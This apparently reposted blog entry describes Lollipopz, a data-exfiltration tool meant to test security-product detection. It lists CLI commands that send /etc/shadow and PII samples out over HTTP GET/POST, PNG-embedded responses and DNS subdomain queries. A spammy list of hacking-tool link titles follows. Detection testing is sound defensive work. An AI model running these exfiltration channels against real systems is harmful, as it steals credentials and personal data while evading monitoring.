Lollipopz - Data Exfiltration Utility For Testing Detection Capabilities

Data exfiltration utility used for testing detection capabilities of security products. Obviously for legal purposes only.

Exfiltration How-To

/etc/shadow -> HTTP GET requests

Server

# ./lollipopz-cli.py -m lollipopz.methods.http.param_cipher.GETServer -lp 80 -o output.log

Client

$ ./lollipopz-cli.py -m lollipopz.methods.http.param_cipher.GETClient -rh 127.0.0.1 -rp 80 -i ./samples/shadow.txt -r

/etc/shadow -> HTTP POST requests

Server

# ./lollipopz-cli.py -m lollipopz.methods.http.param_cipher.POSTServer -lp 80 -o output.log

Client

$ ./lollipopz-cli.py -m lollipopz.methods.http.param_cipher.POSTClient -rh 127.0.0.1 -rp 80 -i ./samples/shadow.txt -r

PII -> PNG embedded in HTTP Response

Server

$ ./lollipopz-cli.py -m lollipopz.methods.http.image_response.Server -lp 37650 -o output.log

Client

# ./lollipopz-cli.py -m lollipopz.methods.http.image_response.Client -rh 127.0.0.1 -rp 37650 -lp 80 -i ./samples/pii.txt -r

PII -> DNS subdomains querying

Server

# ./lollipopz-cli.py -m lollipopz.methods.dns.subdomain_cipher.Server -lp 53 -o output.log

Client

$ ./lollipopz-cli.py -m lollipopz.methods.dns.subdomain_cipher.Client -rh 127.0.0.1 -rp 53 -i ./samples/pii.txt -r

Download Lollipopz

via KitPloit

This article is the property of Tenochtitlan Offensive Security. Verlo Completo --> https://tenochtitlan-sec.blogspot.com

Related links

1. Hacker Tools
2. Hacking Tools Usb
3. Hacking Tools Pc
4. Hack Tools Mac
5. Hack Tools
6. Hack Tools Github
7. Pentest Tools Kali Linux
8. Pentest Automation Tools
9. World No 1 Hacker Software
10. Hack App
11. Hak5 Tools
12. Hacker Tools Apk
13. Hacker Tools For Mac
14. Hacker Tools For Mac
15. Blackhat Hacker Tools
16. Hacking Tools For Pc
17. Hack Tools For Windows
18. Hacking Tools For Windows Free Download
19. Easy Hack Tools
20. Hacker Tools Windows
21. Blackhat Hacker Tools
22. Tools 4 Hack
23. Pentest Tools Website
24. Hack Tools Online
25. Pentest Tools For Mac
26. Hacking Tools Github
27. Blackhat Hacker Tools
28. Nsa Hack Tools